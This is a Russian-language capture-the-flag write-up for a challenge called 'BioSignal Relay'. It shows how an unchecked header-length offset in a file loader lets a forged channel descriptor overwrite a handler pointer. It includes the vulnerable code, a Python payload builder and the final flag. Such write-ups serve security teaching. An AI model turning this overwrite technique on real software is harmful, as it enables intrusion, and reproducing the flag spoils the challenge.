3.7 KiB
BioSignal Relay
В раздатке есть ELF biosignal-relay с символами и без PIE. Сервис принимает CLP-файл, позволяет выбрать канал и запустить конвертацию. В бинаре есть обработчик flag_channel. Для получения флага нужно вызвать его при конвертации.
Решение
При анализе ELF находим структуру загруженного файла. Таблица каналов лежит сразу за 64-байтным буфером заголовка:
struct channel {
uint32_t magic;
uint32_t approved;
uint64_t handler;
char name[32];
}; // 48 байт
struct labfile {
unsigned char header[64];
struct channel ch[2];
};
При конвертации сервис проверяет magic == 0x43484e31, approved == 0x42494f21 и разрешает только два обработчика: audit_channel и flag_channel. Подходящая функция уже есть в списке разрешённых, поэтому достаточно подставить её адрес.
Смотрим загрузку. Основной заголовок копируется с ограничением, а вот дополнительный — по смещению hlen, которое приходит из самого файла:
memcpy(lab->header, buf, n < 64 ? n : 64);
size_t extra = n > 16 ? n - 16 : 0;
if (extra) memcpy(lab->header + hlen, buf + 16, extra);
Ставим hlen = 64, чтобы второй memcpy начал запись ровно с ch[0]. Если после первых 16 байт файла положить поддельный дескриптор, он займёт место настоящего канала.
Адрес flag_channel берём из readelf -sW public/biosignal-relay и сохраняем числом в переменной flag_channel. PIE выключен, поэтому адрес из таблицы символов подходит напрямую. Первые шесть байт файла должны быть ICLPCL, следующие два — hlen в little-endian. До дополнительного заголовка оставляем восемь нулевых байт, а с позиции 16 размещаем поддельный канал.
import struct
channel = struct.pack("<IIQ", 0x43484e31, 0x42494f21, flag_channel)
channel += b"motor-cortex".ljust(32, b"\x00")
payload = b"ICLPCL" + struct.pack("<H", 64) + b"\x00" * 8 + channel
Получается файл из 16 байт заголовка и 48 байт поддельного канала, всего 64 байта. В пункте 1) upload signal file на запрос file bytes: отправляем строку 64, затем на payload: передаём 64 байта файла без добавленного перевода строки. После этого выбираем 2) convert channel, канал 0. Поля magic и approved содержат нужные значения, а flag_channel входит в список разрешённых обработчиков. Проверки проходят, и сервис вызывает flag_channel, который выводит флаг.
Флаг
caplag{clp_header_extension_rewired_the_channel}